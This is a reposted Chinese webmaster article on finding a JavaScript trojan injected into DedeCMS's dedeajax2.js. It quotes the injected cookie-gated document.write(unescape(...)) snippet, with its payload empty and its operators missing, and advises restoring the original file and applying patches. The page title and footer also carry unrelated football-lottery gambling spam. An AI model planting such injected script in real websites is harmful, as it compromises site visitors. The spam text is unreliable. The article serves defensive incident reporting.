足球游戏_中国足彩网¥体育资讯$

dedecms:dedeajax2.js被植入js木马
来源:易贤网 阅读:1373 次 日期:2016-07-05 15:26:27
温馨提示:易贤网小编为您整理了“dedecms:dedeajax2.js被植入js木马”,方便广大网友查阅!

这阵子我的一个网站被植入了木马,程序dede。于是我升级到了IE7+全补丁,为了查木马做准备工作,呵呵。结果发现,dedeajax2.js被植入了木马。源码如下:

//初始化xmldom

function InitXDom(){

if(DedeXDOM!=null) return;

var obj = null;

if (typeof(DOMParser) != "undefined") { // Gecko、Mozilla、Firefox

var parser = new DOMParser();

obj = parser.parseFromString(xmlText, "text/xml");

} else { // IE

try { obj = new ActiveXObject("MSXML2.DOMDocument");} catch (e) { }

if (obj == null) try { obj = new ActiveXObject("Microsoft.XMLDOM"); } catch (e) { }

}

DedeXDOM = obj;

};

//以下是被植入木马的部分,乱码都是经由unicode码处理。现在的马夫越来越狡猾了

if(document.cookie.indexOf('hello')==-1){var expires=new Date();expires.setTime(expires.getTime() 24*60*60*1000);document.cookie='hello=Yes;path=/;expires=' expires.toGMTString();document.write(unescape(""));}

用原版本的dedeajax2覆盖,即可。这个文件,dede的模板都要用到,搜索了,没有发现说明用处。

不过建议大家,多注意dedecms的官方补丁,unix服务器的站长,千万别所有文件都是设置,虽然dede在unix的服务器上,设置太过繁琐。

中国足彩网信息请查看CMS教程
易贤网手机网站地址:dedecms:dedeajax2.js被植入js木马
由于各方面情况的不断调整与变化,易贤网提供的所有考试信息和咨询回复仅供参考,敬请考生以权威部门公布的正式信息和咨询为准!

2025国考·省考课程试听报名

  • 报班类型
  • 姓名
  • 手机号
  • 验证码
关于我们 | 联系我们 | 人才招聘 | 网站声明 | 网站帮助 | 非正式的简要咨询 | 简要咨询须知 | 加入群交流 | 手机站点 | 投诉建议
工业和信息化部备案号:滇ICP备2023014141号-1 足球游戏_中国足彩网¥体育资讯$ 滇公网安备53010202001879号 人力资源服务许可证:(云)人服证字(2023)第0102001523号
云南网警备案专用图标
联系电话:0871-65099533/13759567129 获取招聘考试信息及咨询关注公众号:hfpxwx
咨询QQ:526150442(9:00—18:00)版权所有:易贤网
云南网警报警专用图标